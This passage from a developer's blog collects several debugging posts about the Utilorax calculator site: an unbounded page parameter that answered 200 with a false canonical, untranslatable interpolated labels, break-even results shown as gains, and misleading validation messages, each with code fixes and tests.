An "expected" list is where things hide. Every exception you wave through once becomes invisible forever. If a file cannot legitimately exist, it does not belong in a list of files that usually do.

And test your fix the way the crawler will see it, not the way you will.

I build Utilorax, a set of free browser-based tools. If you want to see what your own robots.txt actually tells a crawler — including which sitemaps it advertises — the robots.txt tester will show you.

Page 999 of my 5-page blog returned 200 and said it was canonical

Hammad Shams Uddin — Tue, 08 Sep 2026 08:29:14 +0000

Search Console, this morning:

Discovered - currently not indexed   20,852
Crawled - currently not indexed       1,582
Excluded by 'noindex' tag                63

My sitemap has 6,240 URLs.

Google knows about roughly 22,500 addresses on a site that publishes 6,240. Nobody typed the other sixteen thousand. Something on the site is generating them.

The pager

public static function paged(int $page = 1, int $perPage = 9): array
{
    $all   = self::all();
    $total = count($all);
    $pages = max(1, (int) ceil($total / $perPage));
    $page  = max(1, min($page, $pages));      // <- here
    return [
        'items' => array_slice($all, ($page - 1) * $perPage, $perPage),
        'total' => $total,
        'pages' => $pages,
        'page'  => $page,
    ];
}

That clamp is the sensible thing to write. Somebody asks for page 40 of five, you show them page 5 rather than an empty screen or a stack trace. I would write it again.

The blog has 5 pages. Here is what the server does:

page=1      HTTP 200   9 posts   canonical = /blog
page=5      HTTP 200   3 posts   canonical = /blog?page=5
page=6      HTTP 200   3 posts   canonical = /blog?page=6
page=999    HTTP 200   3 posts   canonical = /blog?page=999

Page 6 does not exist. It answers 200, serves page 5's three posts, and tells Google this URL is the canonical version of this content.

So does page 7. And page 8. There is no largest one.

The clamp was never the bug

The clamp is right, and the caller is wrong, and it took me a while to see which was which.

paged() returns 'page' => 5 when you ask for 999, because 5 is the page it is rendering. That is honest. But the template built its canonical from the request, not the response:

'canonical' => abs_url('/blog' . ($page > 1 ? '?page=' . $page : '')),

$page there is 999. It was never reconciled with what the pager decided.

So the function quietly answered two different questions with one number, and the caller picked the wrong one:

which page am I showing? → 5
does the page you asked for exist? → never asked, never answered

The second question is the one a router needs, and there was no way to ask it. That is the actual defect: not a wrong value, a missing one.

$asked = max(1, $page);
$page  = min($asked, $pages);

return [
    'items'     => array_slice($all, ($page - 1) * $perPage, $perPage),
    'pages'     => $pages,
    'page'      => $page,        // what is being rendered
    'requested' => $asked,       // what was asked for
    'exists'    => $asked <= $pages,
];

$paged = BlogRepo::paged($page, 9);
if (!$paged['exists']) { notFound(); }

and the canonical now uses $paged['page'] — the page that was served — rather than the number in the query string.

page=5      HTTP 200   3 posts   canonical = /blog?page=5
page=6      HTTP 404
page=999    HTTP 404
page=abc    HTTP 200   9 posts   canonical = /blog

?page=abc still resolves to page 1, which is right: it is not a request for a page that does not exist, it is a request that does not name a page at all.

Why this shape is worth recognising

A clamp is a rendering decision. It answers "what do I draw". The moment its output is used to decide "what do I say this URL is", it has silently become a routing decision, and it is the wrong tool for that, because clamping's entire job is to erase the difference between valid and out-of-range input.

That is fine inside a view. It is not fine anywhere near an HTTP status or a canonical tag, and those are usually written a long way from the function doing the clamping.

The generalisation I would carry:

A function that normalises its input owes the caller the un-normalised value too. Otherwise every caller that needed to know "was this valid?" has to re-derive it, and the ones that forget do not fail — they succeed at something slightly wrong.

max() and min() are where this hides. So is ?? $default, intval(), and any array_slice that silently returns fewer rows than you asked for.

What I cannot claim

I found one unbounded URL source and I fixed it. I cannot tell you it accounts for 20,852, because Search Console's Page Indexing report does not expose the URLs through the API, and I am not going to work backwards from a number I want to explain.

What I can say is that this one is unbounded, it was reachable, it answered 200, and it invited indexing — and that until this morning I would have told you the site had 6,240 URLs.

If your Discovered count is wildly larger than your sitemap, the thing to look for is not a leak of pages. It is a parameter with no upper bound that still answers 200.

Testing it

check('page 5 exists',        status('/blog?page=5'),   200);
check('page 6 does not',      status('/blog?page=6'),   404);
check('nor does page 999',    status('/blog?page=999'), 404);
check('a non-numeric page is page 1', canonical('/blog?page=abc'), '/blog');
check('page 5 is its own canonical',  canonical('/blog?page=5'), '/blog?page=5');

The fourth and fifth assertions matter more than they look. The obvious fix — 404 anything that is not a valid page number — breaks ?page=abc, which should be page 1. The two cases sit either side of the same if and the temptation is to write one test.

I build Utilorax, a set of free browser-based tools. This one started with the sitemap URL counter, which is how I knew the sitemap said 6,240 while Search Console said 22,500.

96% of my labels were translated. The other 4% could never be.

Hammad Shams Uddin — Sat, 05 Sep 2026 11:45:58 +0000

My site ships in five languages. The calculator results go through a dictionary:

function T(s) {
    var d = window.CH_CALC;               // { "English label": "translation" }
    return (d && Object.prototype.hasOwnProperty.call(d, s)) ? d[s] : s;
}

Look up the English, fall back to the English. It is about as simple as translation gets, and for most of the site it works.

Then I read a CPM calculator row on the Spanish page:

Impresiones            20,000
Coste por impresión    0.0025
Impressions per 50.00  20,000

One row in English. Not a missing translation — I went and checked, and there was no key to add. There is no key that could be added.

The string does not exist until the reader types

{ label: 'Impressions per ' + fmt(cost, 2), value: int(imp) }

Impressions per 50.00. Change the campaign cost to 75 and the label is Impressions per 75.00. The dictionary would need an entry for every number anyone ever enters.

This is a different category from "not translated yet", and I had been filing it under the same heading. Untranslated is a backlog. This is a defect, and no amount of work on the dictionaries would ever have closed it.

How many

I did not want to guess, and I could not eyeball it — 112 calculators. But the engines are pure functions of an input object, so I could run all of them and read what came out:

const strings = r => [
    r.primary && r.primary.label,
    ...(r.rows || []).map(x => x && x.label),
    r.tag && r.tag.text,
    r.note,
].filter(Boolean);

The trick is telling the two categories apart. Run each calculator twice with different numbers: a label that changes between the runs is being assembled; a label that stays put is a fixed string that is simply missing.

const nudge = s => {
    const n = parseFloat(s);
    return Number.isFinite(n) ? String(n === 0 ? 7 : n * 2 + 3) : s;
};

reader-facing strings   fixed: 397   built from input: 29

The first count was wrong

29 was too many, and the reason is worth the detour.

BMI at one weight says Healthy weight. At double that weight it says Overweight. The string changed between runs, so my sweep called it assembled — but it is not assembled at all. It is a categorical label from a fixed set of four, and every one of them is sitting in the dictionary already, translated.

The nudge did not reveal interpolation. It revealed a threshold.

So the discriminator needs a second condition: the label must also contain a digit.

for (const s of [...varying]) {
    if (!/\d/.test(s)) { varying.delete(s); fixed.add(s); }
}

reader-facing strings   fixed: 405   built from input: 21

21, across 18 calculators. And now the numbers say something:

es:  missing but fixable: 15    unreachable by lookup: 21   (all of them)
fr:  missing but fixable: 16    unreachable by lookup: 21   (all of them)
pt:  missing but fixable: 14    unreachable by lookup: 21   (all of them)
zh:  missing but fixable: 10    unreachable by lookup: 21   (all of them)

The fixed strings are about 96% translated — an ordinary, healthy backlog of a dozen or so. The assembled ones are 0% translated in all four languages, without exception.

That is not a coincidence you have to interpret. A 96% column next to a 0% column is a mechanism, not a backlog. If it were an effort problem the two would look alike. When one category is perfect and the neighbouring one is empty, something is preventing the work rather than nobody doing it.

The fix is to translate the shape

function TF(tpl) {
    var args = Array.prototype.slice.call(arguments, 1);
    return T(tpl).replace(/\{(\d)\}/g, function (m, i) {
        var a = args[Number(i)];
        return a === undefined ? m : String(a);
    });
}

{ label: TF('Impressions per {0}', fmt(cost, 2)), value: int(imp) }

The key is now Impressions per {0}, which is a constant. Twenty-three of them across the site.

The a === undefined ? m : ... matters more than it looks. Templates get edited in dictionaries, by people who are not looking at the call site, months later. If a translator adds a {1} that no argument feeds, the honest outcome is a visible {1} — not the word undefined sitting in a financial result where a number belongs.

And because an untranslated template falls back to English exactly like an untranslated string, this converts one label at a time with nothing to coordinate.

Verifying it end to end

Not "does TF work" — of course TF works. The question is whether a Spanish reader now sees Spanish, which means running the real calculators against the real dictionary:

function render(dict) {
    delete require.cache[require.resolve(CALC)];
    global.window = dict ? { CH_CALC: dict } : undefined;
    return require(CALC).ENGINES;
}

percentage-calculator     "200.00 plus 15%"       -> "200.00 más 15%"
discount-calculator       "You save 30.00"        -> "Ahorras 30.00"
roi-calculator            "Profit 3,000.00"       -> "Beneficio 3,000.00"
zakat-calculator          "Zakat due (2.5%)"      -> "Zakat a pagar (2.5%)"
paypal-fee-calculator     "Fee (2.9% + 0.30)"     -> "Comisión (2.9% + 0.30)"
cpm-calculator            "Impressions per 50.00" -> "Impresiones por 50.00"
emergency-fund-calculator "13,000.00 to go"       -> "Faltan 13,000.00"
...
20 labels now reach a Spanish reader in Spanish that could not before.

Doing this also flushed out that T() reached straight for window. The engines had never called it — only the renderer did — so no Node test had ever touched that line. Making labels translatable inside the engines was what dragged the browser into a test suite that had happily run without one.

The two assertions I would keep

The mechanical ones are the ones that survive:

// Every TF template must exist in all four dictionaries. A template nobody
// translated is the same English string with extra steps.
const templates = [...src.matchAll(/TF\('([^']*)'/g)].map(m => m[1]);
check(lang + ': all templates translated', missing, []);

// And no translation may drop a {0}. That does not look wrong in review -
// it looks like a slightly shorter sentence - and it deletes the number
// from a financial result.
check(lang + ': every placeholder survives', dropped, []);

The template list is read out of the source rather than written down again in the test. A hand-maintained copy would drift, and it would drift silently, in the direction of passing.

What I would take from it

The + in a label is the whole bug. It is invisible in review because it is the most ordinary line of code in the world, and it does not fail — it produces exactly the right English string.

If your product speaks more than one language, the pattern to grep for is a string literal next to a + inside anything a reader will see. And if you already have translation coverage numbers, look at whether they cluster: a column at 96% and a column at 0% are not the same project running at different speeds. One of them is a wall.

I build Utilorax, a set of free browser-based tools. This came out of the CPM calculator, which now says "Impresiones por 50.00" to people reading it in Spanish.

Break-even is not a profit, and my calculator said it was

Hammad Shams Uddin — Fri, 04 Sep 2026 20:35:24 +0000

Refinance a 200,000 mortgage. Current rate 7%, 300 months left. New rate: 7%. New term: 25 years. Closing costs: 4,000.

That is not a refinance. It is the loan you already have, plus a bill for four thousand.

My calculator, in green:

Save $0.00/mo

The number is right. The word is not.

One ternary, three answers

tag: monthlySave >= 0
    ? { text: 'Save ' + fmt(monthlySave, 2) + '/mo', level: 'good' }
    : { text: fmt(-monthlySave, 2) + '/mo more',     level: 'bad'  }

"Did it go up or down" has three answers. A ternary has two branches. >= is where the third one goes to die — it does not disappear, it gets quietly filed under the first.

I went looking for the pattern and it was not one calculator, it was the house style. Every comparison tag on the site was written the same way, and every one of them was wrong at exactly one point:

calculator	at break-even, it printed	and coloured it
ROI	`Profit 0.00`	green
percentage change	`+0.00%` · Increase	green
CAGR	`Growth`	green
net worth	`Positive`	green
capital gains tax	`Gain 0.00`	green
real rate of return	`Beats inflation`	green
refinance	`Save 0.00/mo`	green
debt consolidation	`0.00/mo more`	amber

Seven of the eight called nothing a win. The eighth is more interesting, and I will come back to it.

None of these are floating-point curiosities. Every input in that table is something a person types on purpose: buy at 10,000 and sell at 10,000. A salary that did not move. A 3% return in a 3% inflation year. Assets that exactly cover the debts — a number people work towards.

"Beats inflation" is the one that bothers me

Most of these are a wrong word next to a right number, and the reader can see the 0.00 and correct for it.

Beats inflation has no number next to it. There is a percentage in the headline, but the tag is the part that renders as a green pill and the part a reader takes away. If your return exactly matches inflation you have made precisely nothing in real terms, and the tool congratulated you.

That is the difference between a cosmetic bug and a wrong answer: whether the reader has enough on screen to notice.

The eighth one, which was worse than wrong

Debt consolidation compares a payment the user types against one it computes. Feed it a debt of 30,000 at 8% over 5 years, and it works out 608.29/mo. Type 608.29 back in — the number it just showed you — and:

0.00/mo more

The other branch. Not because the maths differs, but because the computed value is 608.2857..., and 608.29 minus that is a hair below zero.

So at break-even this calculator did not have a wrong answer, it had no stable answer. The same two numbers on screen could be labelled a saving or a cost depending on where the float landed. And nothing about the display would tell you which side you got, because both branches print 0.00.

Rounding before comparing is the actual fix

function verdict(x, dp, up, flat, down) {
    var r = Number(Number(x).toFixed(dp));
    if (r > 0) { return { text: up,   level: 'good'    }; }
    if (r < 0) { return { text: down, level: 'bad'     }; }
    return       { text: flat, level: 'neutral' };
}

Three branches is the obvious half. The toFixed is the half I nearly left out, and it is the one that actually fixes debt consolidation.

The label has to be computed from the number the reader can see, not from the number you have. If you print to the cent, compare to the cent. Otherwise you are asserting a difference that exists only in a register, in a pill sitting directly beside the digits that deny it.

It also makes the boundary honest in the other direction:

newRate 6.999961   ->  Same payment — the costs buy nothing   [neutral]
newRate 6.9999     ->  Save 0.01/mo                           [good]

A saving of four-tenths of a cent a month is not a saving. It prints as 0.00. Now it is labelled as what it prints as.

The third colour

There were three pill styles: green, amber, red. Nothing for "neither", so >= had somewhere convenient to hide.

Amber is not the answer. Amber means pay attention, this might be a problem, and break-even is not a problem. It is a null result, and null results deserve to look like null results:

.result-tag.neutral{ background:var(--ink-soft); color:#fff; }

Grey says "neither" without saying "warning". The missing branch and the missing colour were the same omission — I had built a vocabulary with only two words in it and then had to say something with it.

Testing the boundary and both sides of it

const FLAT = [
    ['roi',              { initial: '5000', final: '5000' },               'Broke even'],
    ['percentageChange', { from: '50', to: '50' },                         'No change'],
    ['realReturn',       { nominal: '3', inflation: '3' },                 'Exactly matches inflation'],
    ['refinance',        { balance: '200000', currentRate: '7', currentMonths: '300',
                           newRate: '7', newYears: '25', costs: '4000' },  'Same payment — the costs buy nothing'],
    ...
];

for (const [engine, v, want] of FLAT) {
    check(engine + ': says "' + want + '"',           tag(E[engine](v)),   want);
    check(engine + ': is not coloured as good news',  level(E[engine](v)), 'neutral');
}

Two assertions per case, because they fail for different reasons: someone can fix the word and leave the pill green, and the pill is the part people see first.

Then the same number of assertions on either side of the boundary. A three-way fix is one > away from breaking the direction it used to get right, and a test suite that only checks the newly-fixed case will not notice.

What I would take from it

>= in a place where equality means something different from "greater" is a bug you write with your fingers, not your head. It reads as a rounding decision — do I include the endpoint — and it is not. It is a decision about whether a third outcome exists.

The tell is the naming. When the two branches are good and bad, ask what the boundary between them is called. If it has a name — break-even, no change, flat, matches, unchanged, exactly covers — then it is a case, and you have not written it.

I build Utilorax, a set of free browser-based tools. This came out of the percentage change calculator, which no longer tells you that nothing is an increase.

Every field was filled in. The error message said otherwise.

Hammad Shams Uddin — Fri, 04 Sep 2026 05:08:44 +0000

My car loan calculator would not answer the most ordinary question anyone asks about a car loan.

Vehicle price 25,000. Interest 8%. Term 5 years. Down payment: nothing, because I am putting nothing down.

Please fill in all fields with valid numbers.

Every field is filled in. Three of them hold numbers and the fourth holds the truth. The tool has everything it needs, and it has told the user that they are the problem.

Here is the whole of it:

mortgage: function (v) {
    var p = parseFloat(v.price) - parseFloat(v.down),
        r = parseFloat(v.rate) / 100 / 12,
        n = parseFloat(v.years) * 12;
    if (!(p > 0) || isNaN(r) || !(n > 0)) return err();
    ...
}

parseFloat('') is NaN. NaN - 25000 is NaN. And NaN > 0 is false, quietly, with no warning and no exception — so the empty field walks straight into the same branch as genuinely broken input and comes out wearing its message.

Three different situations, one guard

That one if is doing three unrelated jobs, and I only noticed when I started listing what it rejects:

what the user did	what they meant	what they got
left down payment blank	"nothing down"	fill in all fields
down payment = price	"I'm paying cash"	fill in all fields
down payment > price	"my trade-in is worth more"	fill in all fields
price blank	actually missing	fill in all fields

The last row is the only one where the message is even close to true. The first three are not errors at all. They are answers: there is no loan, there is no interest, the monthly payment is zero, and in the third case the dealer owes you money.

The calculator knew all of that. It threw it away because p <= 0, and p <= 0 had been quietly redefined as "the input is bad" when what it actually means is "there is nothing to finance".

I checked whether it was just this one

It is one line in one engine, so before writing anything I wanted to know how much of the site had the same shape. There are 112 calculators sharing 111 engines, all pure functions of an input object, so sweeping them is cheap:

for (const [slug, d] of Object.entries(defs)) {
  const base = {};                      // each calculator's own defaults
  for (const i of d.inputs) base[i.id] = i.value;

  for (const i of d.inputs) {
    const out = run(d.engine, { ...base, [i.id]: '0' });
    if (out.error) refused.push([slug, i.id, out.error]);
  }
}

Zero, not blank. Zero is unambiguously a number, and the field is unambiguously filled in, so any complaint about empty fields is unambiguously wrong.

calculators swept        : 112
field = 0 refused        : 123

and of those 123 refusals:

 114  Please fill in all fields with valid numbers.
   2  Enter two non-zero whole numbers.
   2  Enter whole numbers; denominators cannot be zero.
   1  a cannot be 0 — that is a linear equation, not quadratic.
   1  Original value cannot be zero.
   ...

The nine at the bottom are fine. They refuse, they say what they refused, and one of them teaches you something. The 114 above them are a sentence that is false on its face, shown to someone who has already done the thing it is asking for — which sends them off to check the three fields that are correct.

But be honest about the scale

It is tempting to stop there and call it 114 bugs. It is not 114 bugs, and the difference matters.

Most of those 114 are refusals that should happen. A BMI with height 0, a bill split between 0 people, a loan of 0 — those have no answer, and refusing is right. Only the message is wrong.

The smaller and worse category is the one where the tool could have answered and did not. I could not detect that mechanically, so I picked it out by hand: fields that are an adjustment to a main quantity rather than the quantity itself — a down payment, a fee, an employer match, a trade-in. Leaving one of those out is a statement, not an omission.

optional-adjustment fields that refuse a blank or a 0:   4

Four. Out of 112 calculators. That is a small number and I am not going to dress it up as a big one.

Two of the four were the mortgage calculator and the car loan calculator — the two most-visited calculators on the site. Rarity and importance are different axes, and a bug census that only counts is measuring the wrong one.

The fix, which is mostly just splitting the line up

var price = parseFloat(v.price),
    down  = optional(v.down),
    r     = parseFloat(v.rate) / 100 / 12,
    n     = parseFloat(v.years) * 12;

if (!(price > 0)) return err('Enter a price greater than zero.');
if (isNaN(r))     return err('Enter an interest rate.');
if (!(n > 0))     return err('Enter a loan term of at least one year.');

var p = price - down;

if (p <= 0) {                       // paying cash, or a trade-in worth more
    return { primary: { label: 'Monthly payment', value: fmt(0, 2) }, ... };
}

with

function optional(s) { var n = parseFloat(s); return isFinite(n) ? n : 0; }

Splitting the guard is not tidiness. A single message could not name the field at fault, because the code had never worked out which field it was. The specific messages are not a wording improvement layered on top of the old check — they only become possible once the check is separated.

The part I find hardest to defend is that optional() was already in the file. Here is retirement401k, unchanged, before I touched anything:

var bal    = parseFloat(v.balance) || 0,     // optional
    salary = parseFloat(v.salary),
    cpct   = parseFloat(v.contribution),     // not optional. same line.
    mpct   = parseFloat(v.match) || 0,       // optional

Opening balance: optional. Employer match: optional. Contribution, sitting between them in the same var statement: not. Contributing nothing this year is a number, and the projection still exists. The right idiom was six characters away and had been for months — because it was an idiom and not a name. Naming it is most of what stops it drifting again.

Testing the two halves separately

check('nothing down is answered, not refused', money(car({ down: '' })), '506.91');
check('nothing down equals an explicit zero',  money(car({ down: '' })), money(car({ down: '0' })));
check('paying cash costs nothing a month',     money(car({ down: '25000' })), '0.00');
check('trade-in over the price shows change',  row(over, 'Left over'), '5,000.00');

check('missing price names the price', car({ price: '' }).error, 'Enter a price greater than zero.');
check('missing rate names the rate',   car({ rate: '' }).error,  'Enter an interest rate.');

Two groups, because they fail for different reasons. The first breaks if someone reintroduces a truthiness check on an optional field. The second breaks if someone collapses the guards back into one line to save space. A single "does it error" assertion would pass while either happened.

And one assertion that is about the message rather than the maths:

check('the fallback no longer claims fields are empty',
    /fill in all fields/i.test(generic.error || ''), false);

What I would take from it

An error message is an assertion about the world, and it can be false. NaN > 0 === false is not a bug in JavaScript; treating that false as "the user made a mistake" is a bug in me. The code never established that a field was empty. It inferred it from a comparison that fails for four different reasons, and reported the inference as a fact, in the second person.

The one to watch for is a guard whose condition is about the result — p <= 0, !isFinite(x), total === 0 — but whose message is about the input. Those two are not connected by anything except habit, and every so often the result is zero because zero is the answer.

I build Utilorax, a set of free browser-based tools. This came out of the car loan calculator, which will now tell you what a car costs when you put nothing down — and what it costs when you pay cash, which is nothing.